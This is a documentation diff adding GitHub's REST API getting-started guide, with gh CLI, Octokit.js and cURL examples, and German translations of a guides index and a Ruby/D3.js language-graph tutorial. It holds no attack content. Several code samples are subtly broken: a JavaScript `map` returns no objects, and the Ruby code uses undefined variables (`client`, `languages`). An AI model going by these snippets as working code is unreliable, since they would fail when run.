+        run: npm install octokit
+
+      - name: Run script
+        env:
+          TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+        run: |
+          node .github/actions-scripts/use-the-api.mjs
+```
+
+Example JavaScript script, with the file path `.github/actions-scripts/use-the-api.mjs`:
+
+```javascript
+import { Octokit } from "octokit";
+
+const octokit = new Octokit({ {% ifversion ghes or ghae %}
+  baseUrl: "{% data variables.product.api_url_code %}",{% endif %}
+  auth: process.env.TOKEN,
+});
+
+await octokit.request("GET /octocat", {});
+```
+
+Instead of storing your script in a separate file and executing the script from your workflow, you can use the `actions/github-script` action to run a script. For more information, see the [actions/github-script README](https://github.com/actions/github-script).
+
+```yaml
+jobs:
+  use_api_via_script:
+    runs-on: ubuntu-latest
+    permissions: {}
+    steps:
+      - uses: {% data reusables.actions.action-github-script %}
+        with:
+          github-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+          script: |
+            await github.request('GET /octocat', {})
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+You can also use the `run` keyword to execute cURL commands in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+
+{% data variables.product.prodname_dotcom %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+```yaml
+jobs:
+  use_api:
+    runs-on: ubuntu-latest
+    permissions: {}
+    steps:
+      - env:
+          GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+        run: |
+          curl --request GET \
+          --url "https://api.github.com/octocat" \
+          --header "Authorization: Bearer $GH_TOKEN"
+```
+
+{% endcurl %}
+
+## Using headers
+
+Most operations specify that you should pass an `Accept` header with a value of `application/vnd.github+json`. Other operations may specify that you should send a different `Accept` header or additional headers.
+
+{% cli %}
+
+To send a header with {% data variables.product.prodname_cli %}, use the `--header` or `-H` flag followed by the header in `key: value` format.
+
+```shell
+gh api --header 'Accept: application/vnd.github+json' --method GET /octocat
+```
+
+{% endcli %}
+
+{% javascript %}
+
+The Octokit.js library automatically passes the `Accept: application/vnd.github+json` header. To pass additional headers or a different `Accept` header, add a `headers` property to the object that is passed as a second argument to the `request` method. The value of the `headers` property is an object with the header names as keys and header values as values. For example, to send a `content-type` header with a value of `text/plain`:
+
+```javascript
+await octokit.request("GET /octocat", {
+  headers: {
+    "content-type": "text/plain",
+  },
+});
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+To send a header with cURL, use the `--header` or `-H` flag followed by the header in `key: value` format.
+
+```shell
+curl --request GET \
+--url "https://api.github.com/octocat" \
+--header "Accept: application/vnd.github+json" \
+--header "Authorization: Bearer YOUR-TOKEN"
+```
+
+{% endcurl %}
+
+## Using path parameters
+
+Path parameters modify the operation path. For example, the "List repository issues" path is `/repos/{owner}/{repo}/issues`. The curly brackets `{}` denote path parameters that you need to  specify. In this case, you must specify the repository owner and name. For the reference documentation for this operation, see "[List repository issues](/rest/issues/issues#list-repository-issues)."
+
+{% cli %}
+
+{% ifversion ghes or ghae %}
+{% note %}
+
+**Note:** In order for this command to work for {% data variables.location.product_location %}, replace `octocat/Spoon-Knife` with a repository owned by {% data variables.location.product_location %}. Otherwise, rerun the `gh auth login` command to authenticate to {% data variables.product.prodname_dotcom_the_website %} instead of {% data variables.location.product_location %}.
+
+{% endnote %}
+{% endif %}
+
+To get issues from the `octocat/Spoon-Knife` repository, replace `{owner}` with `octocat` and `{repo}` with `Spoon-Knife`.
+
+```shell
+gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues
+```
+
+{% endcli %}
+
+{% javascript %}
+
+{% ifversion ghes or ghae %}
+{% note %}
+
+**Note:** In order for this example to work for {% data variables.location.product_location %}, replace `octocat/Spoon-Knife` with a repository owned by {% data variables.location.product_location %}. Otherwise, create a new `Octokit` instance and do not specify `baseURL`.
+
+{% endnote %}
+{% endif %}
+
+When you make a request with Octokit.js, all parameters, including path parameters, are passed in an object as the second argument to the `request` method. To get issues from the `octocat/Spoon-Knife` repository, specify `owner` as `octocat` and `repo` as `Spoon-Knife`.
+
+```javascript
+await octokit.request("GET /repos/{owner}/{repo}/issues", {
+  owner: "octocat",
+  repo: "Spoon-Knife"
+});
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+To get issues from the `octocat/Spoon-Knife` repository, replace `{owner}` with `octocat` and `{repo}` with `Spoon-Knife`. To build the full path, prepend the base URL for the {% data variables.product.prodname_dotcom %} REST API, `https://api.github.com`: `https://api.github.com/repos/octocat/Spoon-Knife/issues`.
+
+{% ifversion ghes or ghae %}
+{% note %}
+
+**Note:** If you want to use {% data variables.location.product_location %} instead of {% data variables.product.prodname_dotcom_the_website %}, use `{% data variables.product.api_url_code %}` instead of `https://api.github.com` and replace `[hostname]` with the name of {% data variables.location.product_location %}. Replace `octocat/Spoon-Knife` with a repository owned by {% data variables.location.product_location %}.
+
+{% endnote %}
+{% endif %}
+
+```shell
+curl --request GET \
+--url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \
+--header "Accept: application/vnd.github+json" \
+--header "Authorization: Bearer YOUR-TOKEN"
+```
+
+{% endcurl %}
+
+The operation returns a list of issues and data about each issue. For more information about using the response, see the "[Using the response](#using-the-response)" section.
+
+## Using query parameters
+
+Query parameters allow you to control what data is returned for a request. For example, a query parameter may let you specify how many items are returned when the response is paginated.
+
+By default, the "List repository issues" operation returns thirty issues, sorted in descending order by the date they were created. You can use the `per_page` parameter to return two issues instead of 30. You can use the `sort` parameter to sort the issues by the date they were last updated instead of by the date they were created. You can use the `direction` parameter to sort the results in ascending order instead of descending order.
+
+{% cli %}
+
+For {% data variables.product.prodname_cli %}, use the `-F` flag to pass a parameter that is a number, Boolean, or null. Use `-f` to pass string parameters.
+
+{% note %}
+
+**Note**: {% data variables.product.prodname_cli %} does not currently accept parameters that are arrays. For more information, see [this issue](https://github.com/cli/cli/issues/1484).
+
+{% endnote %}
+
+```shell
+gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues -F per_page=2 -f sort=updated -f direction=asc
+```
+
+{% endcli %}
+
+{% javascript %}
+
+When you make a request with Octokit.js, all parameters, including query parameters, are passed in an object as the second argument to the `request` method.
+
+```javascript
+await octokit.request("GET /repos/{owner}/{repo}/issues", {
+  owner: "octocat",
+  repo: "Spoon-Knife",
+  per_page: 2,
+  sort: "updated",
+  direction: "asc",
+});
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+For cURL, add a `?` to the end of the path, then append your query parameter name and value in the form `parameter_name=value`. Separate multiple query parameters with `&`.
+
+```shell
+curl --request GET \
+--url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2&sort=updated&direction=asc" \
+--header "Accept: application/vnd.github+json" \
+--header "Authorization: Bearer YOUR-TOKEN"
+```
+
+{% endcurl %}
+
+The operation returns a list of issues and data about each issue. For more information about using the response, see the "[Using the response](#using-the-response)" section.
+
+## Using body parameters
+
+Body parameters allow you to pass additional data to the API. For example, the "Create an issue" operation requires you to specify a title for the new issue. It also lets you specify other information, such as text to put in the issue body. For the full reference documentation for this operation, see "[Create an issue](/rest/issues/issues#create-an-issue)."
+
+The "Create an issue" operation uses the same path as the "List repository issues" operation in the examples above, but it uses a `POST` method instead of a `GET` method.
+
+{% cli %}
+
+For {% data variables.product.prodname_cli %}, use the `-F` flag to pass a parameter that is a number, Boolean, or null. Use `-f` to pass string parameters.
+
+{% note %}
+
+**Note**: {% data variables.product.prodname_cli %} does not currently accept parameters that are arrays. For more information, see [this issue](https://github.com/cli/cli/issues/1484).
+
+{% endnote %}
+
+```shell
+gh api --header 'Accept: application/vnd.github+json' --method POST /repos/octocat/Spoon-Knife/issues -f title="Created with the REST API" -f body="This is a test issue created by the REST API"
+```
+
+{% endcli %}
+
+{% javascript %}
+
+{% ifversion pat-v2 %}
+
+{% note %}
+
+If you are using a {% data variables.product.pat_v2 %}, you must replace `octocat/Spoon-Knife` with a repository that you own or that is owned by an organization that you are a member of. Your token must have access to that repository and have read and write permissions for repository issues. For more information about creating a repository, see "[Create a repo](/get-started/quickstart/create-a-repo)." For more information about granting access and permissions to a {% data variables.product.pat_v2 %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+
+{% endnote %}
+
+{% endif %}
+
+When you make a request with Octokit.js, all parameters, including body parameters, are passed in an object as the second argument to the `request` method.
+
+```javascript
+await octokit.request("POST /repos/{owner}/{repo}/issues", {
+  owner: "octocat",
+  repo: "Spoon-Knife",
+  title: "Created with the REST API",
+  body: "This is a test issue created by the REST API",
+});
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+{% ifversion pat-v2 %}
+
+{% note %}
+
+If you are using a {% data variables.product.pat_v2 %}, you must replace `octocat/Spoon-Knife` with a repository that you own or that is owned by an organization that you are a member of. Your token must have access to that repository and have read and write permissions for repository issues. For more information about creating a repository, see "[Create a repo](/get-started/quickstart/create-a-repo)." For more information about granting access and permissions to a {% data variables.product.pat_v2 %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+
+{% endnote %}
+
+{% endif %}
+
+For cURL, use the `--data` flag to pass the body parameters in a JSON object.
+
+```shell
+curl --request POST \
+--url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \
+--header "Accept: application/vnd.github+json" \
+--header "Authorization: Bearer YOUR-TOKEN" \
+--data '{
+  "title": "Created with the REST API",
+  "body": "This is a test issue created by the REST API"
+}'
+```
+
+{% endcurl %}
+
+The operation creates an issue and returns data about the new issue. In the response, find the `html_url` of your issue and navigate to your issue in the browser. For more information about using the response, see the "[Using the response](#using-the-response)" section.
+
+## Using the response
+
+### About the response code and headers
+
+Every request will return an HTTP status code that indicates the success of the response. For more information about response codes, see [the MDN HTTP response status code documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status).
+
+Additionally, the response will include headers that give more details about the response. Headers that start with `X-` or `x-` are custom to {% data variables.product.company_short %}. For example, the `x-ratelimit-remaining` and `x-ratelimit-reset` headers tell you how many requests you can make in a time period.
+
+{% cli %}
+
+To view the status code and headers, use the `--include` or `--i` flag when you send your request.
+
+For example, this request:
+
+```shell
+gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues -F per_page=2 --include
+```
+
+returns the response code and headers like:
+
+```shell
+HTTP/2.0 200 OK
+Access-Control-Allow-Origin: *
+Access-Control-Expose-Headers: ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset
+Cache-Control: private, max-age=60, s-maxage=60
+Content-Security-Policy: default-src 'none'
+Content-Type: application/json; charset=utf-8
+Date: Thu, 04 Aug 2022 19:56:41 GMT
+Etag: W/"a63dfbcfdb73621e9d2e89551edcf9856731ced534bd7f1e114a5da1f5f73418"
+Link: <https://api.github.com/repositories/1300192/issues?per_page=1&page=2>; rel="next", <https://api.github.com/repositories/1300192/issues?per_page=1&page=14817>; rel="last"
+Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
+Server: GitHub.com
+Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
+Vary: Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With
+X-Accepted-Oauth-Scopes: repo
+X-Content-Type-Options: nosniff
+X-Frame-Options: deny
+X-Github-Api-Version-Selected: 2022-08-09
+X-Github-Media-Type: github.v3; format=json
+X-Github-Request-Id: 1C73:26D4:E2E500:1EF78F4:62EC2479
+X-Oauth-Client-Id: 178c6fc778ccc68e1d6a
+X-Oauth-Scopes: gist, read:org, repo, workflow
+X-Ratelimit-Limit: 15000
+X-Ratelimit-Remaining: 14996
+X-Ratelimit-Reset: 1659645499
+X-Ratelimit-Resource: core
+X-Ratelimit-Used: 4
+X-Xss-Protection: 0
+```
+
+In this example, the response code is `200`, which indicates a successful request.
+
+{% endcli %}
+
+{% javascript %}
+
+When you make a request with Octokit.js, the `request` method returns a promise. If the request was successful, the promise resolves to an object that includes the HTTP status code of the response (`status`) and the response headers (`headers`). If an error occurs, the promise resolves to an object that includes the HTTP status code of the response (`status`) and the response headers (`response.headers`).
+
+You can use a `try/catch` block to catch an error if it occurs. For example, if the request in the following script is successful, the script will log the status code and the value of the `x-ratelimit-remaining` header. If the request was not successful, the script will log the status code, the value of the `x-ratelimit-remaining` header, and the error message.
+
+```javascript
+try {
+  const result = await octokit.request("GET /repos/{owner}/{repo}/issues", {
+    owner: "octocat",
+    repo: "Spoon-Knife",
+    per_page: 2,
+  });
+
+  console.log(`Success! Status: ${result.status}. Rate limit remaining: ${result.headers["x-ratelimit-remaining"]}`)
+
+} catch (error) {
+  console.log(`Error! Status: ${error.status}. Rate limit remaining: ${error.headers["x-ratelimit-remaining"]}. Message: ${error.response.data.message}`)
+}
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+To view the status code and headers, use the `--include` or `--i` flag when you send your request.
+
+For example, this request:
+
+```shell
+curl --request GET \
+--url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2" \
+--header "Accept: application/vnd.github+json" \
+--header "Authorization: Bearer YOUR-TOKEN" \
+--include
+```
+
+returns the response code and headers like:
+
+```shell
+HTTP/2 200
+server: GitHub.com
+date: Thu, 04 Aug 2022 20:07:51 GMT
+content-type: application/json; charset=utf-8
+cache-control: public, max-age=60, s-maxage=60
+vary: Accept, Accept-Encoding, Accept, X-Requested-With
+etag: W/"7fceb7e8c958d3ec4d02524b042578dcc7b282192e6c939070f4a70390962e18"
+x-github-media-type: github.v3; format=json
+link: <https://api.github.com/repositories/1300192/issues?per_page=2&sort=updated&direction=asc&page=2>; rel="next", <https://api.github.com/repositories/1300192/issues?per_page=2&sort=updated&direction=asc&page=7409>; rel="last"
+access-control-expose-headers: ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset
+access-control-allow-origin: *
+strict-transport-security: max-age=31536000; includeSubdomains; preload
+x-frame-options: deny
+x-content-type-options: nosniff
+x-xss-protection: 0
+referrer-policy: origin-when-cross-origin, strict-origin-when-cross-origin
+content-security-policy: default-src 'none'
+x-ratelimit-limit: 15000
+x-ratelimit-remaining: 14996
+x-ratelimit-reset: 1659645535
+x-ratelimit-resource: core
+x-ratelimit-used: 4
+accept-ranges: bytes
+content-length: 4936
+x-github-request-id: 14E0:4BC6:F1B8BA:208E317:62EC2715
+```
+
+In this example, the response code is `200`, which indicates a successful request.
+
+{% endcurl %}
+
+### About the response body
+
+Many operations will return a response body. Unless otherwise specified, the response body is in JSON format. For example, this request returns a list of issues with data about each issue:
+
+{% cli %}
+
+```shell
+gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues -F per_page=2
+```
+
+{% endcli %}
+
+{% javascript %}
+
+```javascript
+await octokit.request("GET /repos/{owner}/{repo}/issues", {
+  owner: "octocat",
+  repo: "Spoon-Knife",
+  per_page: 2,
+});
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+```shell
+curl --request GET \
+--url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2" \
+--header "Accept: application/vnd.github+json" \
+--header "Authorization: Bearer YOUR-TOKEN"
+```
+
+{% endcurl %}
+
+Unlike the GraphQL API where you specify what information you want, the REST API typically returns more information than you need. If desired, you can parse the response to pull out specific pieces of information.
+
+{% cli %}
+
+For example, you can use `>` to redirect the response to a file:
+
+```shell
+gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues -F per_page=2 > data.json
+```
+
+Then you can use jq to get the title and author ID of each issue:
+
+```shell
+jq '.[] | {title: .title, authorID: .user.id}' data.json
+```
+
+The previous two commands return something like:
+
+```
+{
+  "title": "Update index.html",
+  "authorID": 10701255
+}
+{
+  "title": "Edit index file",
+  "authorID": 53709285
+}
+```
+
+For more information about jq, see [the jq documentation](https://stedolan.github.io/jq/) and [jq play](https://jqplay.org/).
+
+{% endcli %}
+
+{% javascript %}
+
+For example, you can get the title and author ID of each issue:
+
+```javascript
+try {
+  const result = await octokit.request("GET /repos/{owner}/{repo}/issues", {
+    owner: "octocat",
+    repo: "Spoon-Knife",
+    per_page: 2,
+  });
+
+  const titleAndAuthor = result.data.map(issue => {title: issue.title, authorID: issue.user.id})
+
+  console.log(titleAndAuthor)
+
+} catch (error) {
+  console.log(`Error! Status: ${error.status}. Message: ${error.response.data.message}`)
+}
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+For example, you can use `>` to redirect the response to a file:
+
+```shell
+curl --request GET \
+--url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2" \
+--header "Accept: application/vnd.github+json" \
+--header "Authorization: Bearer YOUR-TOKEN" > data.json
+```
+
+Then you can use jq to get the title and author ID of each issue:
+
+```shell
+jq '.[] | {title: .title, authorID: .user.id}' data.json
+```
+
+The previous two commands return something like:
+
+```
+{
+  "title": "Update index.html",
+  "authorID": 10701255
+}
+{
+  "title": "Edit index file",
+  "authorID": 53709285
+}
+```
+
+For more information about jq, see [the jq documentation](https://stedolan.github.io/jq/) and [jq play](https://jqplay.org/).
+
+{% endcurl %}
+
+## Next steps
+
+This article demonstrated how to list and create issues in a repository. For more practice, try to comment on an issue, edit the title of an issue, or close an issue. For more information about these operations, see "[Create an issue comment](/rest/issues#create-an-issue-comment)" and "[Update an issue](/rest/issues/issues#update-an-issue)."
+
+For more information about the operations that you can use, see the [REST reference documentation](/rest).
diff --git a/translations/de-DE/content/rest/guides/index.md b/translations/de-DE/content/rest/guides/index.md
new file mode 100644
index 0000000000..c34e93182b
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/index.md
@@ -0,0 +1,35 @@
+---
+title: Anleitungen
+intro: 'Erfahre mehr über die ersten Schritte mit der REST-API, die Authentifizierung und die Verwendung der REST-API für eine Vielzahl von Aufgaben.'
+redirect_from:
+  - /guides
+  - /v3/guides
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+children:
+  - /getting-started-with-the-rest-api
+  - /basics-of-authentication
+  - /discovering-resources-for-a-user
+  - /delivering-deployments
+  - /rendering-data-as-graphs
+  - /working-with-comments
+  - /traversing-with-pagination
+  - /building-a-ci-server
+  - /best-practices-for-integrators
+  - /getting-started-with-the-git-database-api
+  - /getting-started-with-the-checks-api
+ms.openlocfilehash: 6441ccaa503fd348fa67ab4c896cb5470690149a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146200130'
+---
+Dieser Abschnitt der Dokumentation soll Ihnen den Einstieg in echte {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API-Anwendungen erleichtern. Wir decken alles ab, was du wissen musst, von der Authentifizierung über das Bearbeiten von Ergebnissen bis zum Integrieren von Ergebnissen in andere Apps.
+Jedes Tutorial hier verfügt über ein Projekt, und jedes Projekt wird in unserem öffentlichen [platform-samples](https://github.com/github/platform-samples) gespeichert und dokumentiert.
+![Die Octocat](/assets/images/electrocat.png)
diff --git a/translations/de-DE/content/rest/guides/rendering-data-as-graphs.md b/translations/de-DE/content/rest/guides/rendering-data-as-graphs.md
new file mode 100644
index 0000000000..fdeb1ab108
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/rendering-data-as-graphs.md
@@ -0,0 +1,346 @@
+---
+title: Rendern von Daten als Graphen
+intro: 'Hier erfährst du, wie du die Programmiersprachen aus deinem Repository mithilfe der D3.js-Bibliothek und Ruby Octokit visualisieren kannst.'
+redirect_from:
+  - /guides/rendering-data-as-graphs
+  - /v3/guides/rendering-data-as-graphs
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+ms.openlocfilehash: e613c2f707db1030b9e2e5c40de98f2628c0ca3b
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876782'
+---
+In diesem Leitfaden verwenden wir die API, um Informationen zu Repositorys, die wir besitzen, und die Programmiersprachen, die sie bilden, zu fetchen. Anschließend werden wir diese Informationen auf verschiedene Weise mithilfe der [D3.js][D3.js]-Bibliothek visualisieren. Um mit der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API zu interagieren, verwenden wir die exzellente Ruby-Bibliothek [Octokit.rb][Octokit].
+
+Falls du es noch nicht getan hast, solltest du den Leitfaden [„Grundlagen der Authentifizierung“][basics-of-authentication] lesen, bevor du die folgenden Beispiele durcharbeitest. Den vollständigen Quellcode für dieses Projekt findest du im Repository [platform-samples][platform samples].
+
+Springen wir ins kalte Wasser!
+
+## Einrichten einer OAuth-Anwendung
+
+Zuerst [registrierst du eine neue Anwendung][new oauth application] für {% data variables.product.product_name %}. Stelle die Haupt- und Rückruf-URLs auf `http://localhost:4567/` ein. Wie [zuvor][basics-of-authentication] werden wir die Authentifizierung für die API behandeln, indem wir eine Rack-Middleware mithilfe von [sinatra-auth-github][sinatra auth github] implementieren:
+
+``` ruby
+require 'sinatra/auth/github'
+
+module Example
+  class MyGraphApp < Sinatra::Base
+    # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+    # Instead, set and test environment variables, like below
+    # if ENV['GITHUB_CLIENT_ID'] && ENV['GITHUB_CLIENT_SECRET']
+    #  CLIENT_ID        = ENV['GITHUB_CLIENT_ID']
+    #  CLIENT_SECRET    = ENV['GITHUB_CLIENT_SECRET']
+    # end
+
+    CLIENT_ID = ENV['GH_GRAPH_CLIENT_ID']
+    CLIENT_SECRET = ENV['GH_GRAPH_SECRET_ID']
+
+    enable :sessions
+
+    set :github_options, {
+      :scopes    => "repo",
+      :secret    => CLIENT_SECRET,
+      :client_id => CLIENT_ID,
+      :callback_url => "/"
+    }
+
+    register Sinatra::Auth::Github
+
+    get '/' do
+      if !authenticated?
+        authenticate!
+      else
+        access_token = github_user["token"]
+      end
+    end
+  end
+end
+```
+
+Richte eine ähnliche _config.ru_-Datei wie im vorherigen Beispiel ein:
+
+``` ruby
+ENV['RACK_ENV'] ||= 'development'
+require "rubygems"
+require "bundler/setup"
+
+require File.expand_path(File.join(File.dirname(__FILE__), 'server'))
+
+run Example::MyGraphApp
+```
+
+## Fetche Repository-Informationen
+
+Dieses Mal verwenden wir die [Octokit Ruby-Bibliothek][Octokit], um mit der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API zu sprechen. Dies ist viel einfacher als eine Reihe von REST-Aufrufen. Darüber hinaus wurde Octokit von einem GitHubber entwickelt und wird aktiv gepflegt, damit du weißt, dass es funktioniert.
+
+Die Authentifizierung mit der API über Octokit ist einfach. Übergib einfach dein Anmeldung und Token an den `Octokit::Client`-Konstruktor:
+
+``` ruby
+if !authenticated?
+  authenticate!
+else
+  octokit_client = Octokit::Client.new(:login => github_user.login, :oauth_token => github_user.token)
+end
+```
+
+Lass uns etwas Interessantes mit den Daten zu unseren Repositorys tun. Wir werden die verschiedenen Programmiersprachen sehen, die sie verwenden, und zählen, welche am häufigsten verwendet werden. Dazu benötigen wir zunächst eine Liste unserer Repositorys aus der API.
+Mit Octokit sieht das wie folgt aus:
+
+``` ruby
+repos = client.repositories
+```
+
+Als Nächstes durchlaufen wir jedes Repository und zählen die Sprache, die {% data variables.product.product_name %} damit verknüpft:
+
+``` ruby
+language_obj = {}
+repos.each do |repo|
+  # sometimes language can be nil
+  if repo.language
+    if !language_obj[repo.language]
+      language_obj[repo.language] = 1
+    else
+      language_obj[repo.language] += 1
+    end
+  end
+end
+
+languages.to_s
+```
+
+Wenn du den Server neu startest, sollte deine Webseite etwas anzeigen, das wie folgt aussieht:
+
+``` ruby
+{"JavaScript"=>13, "PHP"=>1, "Perl"=>1, "CoffeeScript"=>2, "Python"=>1, "Java"=>3, "Ruby"=>3, "Go"=>1, "C++"=>1}
+```
+
+So weit, so gut, aber nicht sehr menschenfreundlich. Eine Visualisierung wäre großartig, um uns zu helfen, zu verstehen, wie diese Sprachanzahl verteilt wird. Fügen wir unsere Anzahl in D3 ein, um ein übersichtliches Balkendiagramm zu erhalten, das die Beliebtheit der von uns verwendeten Sprachen darstellt.
+
+## Visualisierung der Sprachanzahl
+
+D3.js oder kurz D3 ist eine umfassende Bibliothek zum Erstellen vieler Arten von Diagrammen, Graphen und interaktiven Visualisierungen.
+Die Verwendung von D3 wird über den Umfang dieses Leitfadens hinaus verwendet, aber für einen guten Einführungsartikel lies [„D3 für Normalsterbliche"][D3 mortals].
+
+D3 ist eine JavaScript-Bibliothek und arbeitet gerne mit Daten als Arrays. So konvertieren wir unseren Ruby-Hash für die Verwendung durch JavaScript im Browser in ein JSON-Array.
+
+``` ruby
+languages = []
+language_obj.each do |lang, count|
+  languages.push :language => lang, :count => count
+end
+
+erb :lang_freq, :locals => { :languages => languages.to_json}
+```
+
+Wir durchlaufen einfach jedes Schlüsselwertpaar in unserem Objekt und pushen es in ein neues Array. Der Grund, aus dem wir dies zuvor nicht ausgeführt haben, besteht darin, dass wir unser `language_obj`-Objekt nicht durchlaufen wollten, während wir es erstellt haben.
+
+Nun benötigt _lang_freq.erb_ einige JavaScript-Dateien, um das Rendern eines Balkengraphen zu unterstützen.
+Jetzt kannst du einfach den hier bereitgestellten Code verwenden und auf die oben verknüpften Ressourcen verweisen, wenn du mehr über die Funktionsweise von D3 erfahren möchtest:
+
+``` html
+<!DOCTYPE html>
+<meta charset="utf-8">
+<html>
+  <head>
+    <script src="//cdnjs.cloudflare.com/ajax/libs/d3/3.0.1/d3.v3.min.js"></script>
+    <style>
+    svg {
+      padding: 20px;
+    }
+    rect {
+      fill: #2d578b
+    }
+    text {
+      fill: white;
+    }
+    text.yAxis {
+      font-size: 12px;
+      font-family: Helvetica, sans-serif;
+      fill: black;
+    }
+    </style>
+  </head>
+  <body>
+    <p>Check this sweet data out:</p>
+    <div id="lang_freq"></div>
+
+  </body>
+  <script>
+    var data = <%= languages %>;
+
+    var barWidth = 40;
+    var width = (barWidth + 10) * data.length;
+    var height = 300;
+
+    var x = d3.scale.linear().domain([0, data.length]).range([0, width]);
+    var y = d3.scale.linear().domain([0, d3.max(data, function(datum) { return datum.count; })]).
+      rangeRound([0, height]);
+
+    // add the canvas to the DOM
+    var languageBars = d3.select("#lang_freq").
+      append("svg:svg").
+      attr("width", width).
+      attr("height", height);
+
+    languageBars.selectAll("rect").
+      data(data).
+      enter().
+      append("svg:rect").
+      attr("x", function(datum, index) { return x(index); }).
+      attr("y", function(datum) { return height - y(datum.count); }).
+      attr("height", function(datum) { return y(datum.count); }).
+      attr("width", barWidth);
+
+    languageBars.selectAll("text").
+      data(data).
+      enter().
+      append("svg:text").
+      attr("x", function(datum, index) { return x(index) + barWidth; }).
+      attr("y", function(datum) { return height - y(datum.count); }).
+      attr("dx", -barWidth/2).
+      attr("dy", "1.2em").
+      attr("text-anchor", "middle").
+      text(function(datum) { return datum.count;});
+
+    languageBars.selectAll("text.yAxis").
+      data(data).
+      enter().append("svg:text").
+      attr("x", function(datum, index) { return x(index) + barWidth; }).
+      attr("y", height).
+      attr("dx", -barWidth/2).
+      attr("text-anchor", "middle").
+      text(function(datum) { return datum.language;}).
+      attr("transform", "translate(0, 18)").
+      attr("class", "yAxis");
+  </script>
+</html>
+```
+
+Puh! Noch einmal, mache dir sich keine Sorgen darüber, was der Großteil dieses Codes tut. Der relevante Teil hier ist eine Zeile am Anfang--`var data = <%= languages %>;`--die angibt, dass wir unser zuvor erstelltes `languages`-Array zur Manipulation an ERB übergeben.
+
+Wie der Leitfaden „D3 für Normalsterbliche" andeutet, ist dies nicht unbedingt die beste Verwendung von D3. Aber es dient dazu, zu veranschaulichen, wie du die Bibliothek zusammen mit Octokit verwenden kannst, um einige wirklich erstaunliche Dinge zu machen.
+
+## Kombinieren verschiedener API-Aufrufe
+
+Jetzt ist es Zeit für ein Geständnis: das `language`-Attribut innerhalb von Repositorys identifiziert nur die „primäre" Sprache definiert. Das bedeutet, wenn du über ein Repository verfügst, das mehrere Sprachen kombiniert, wird dies mit den meisten Bytes des Codes als primäre Sprache betrachtet.
+
+Kombinieren wir einige API-Aufrufe, um eine _echte_ Darstellung davon zu erhalten, in welcher Sprache die größte Anzahl von Bytes in unserem gesamten Code geschrieben wurde. Eine [Baumstruktur][D3 treemap] sollte eine hervorragende Möglichkeit sein, die Größen unserer verwendeten Codierungssprachen statt nur die Anzahl zu visualisieren. Wir müssen ein Array von Objekten konstruieren, das wie in etwa so aussieht:
+
+``` json
+[ { "name": "language1", "size": 100},
+  { "name": "language2", "size": 23}
+  ...
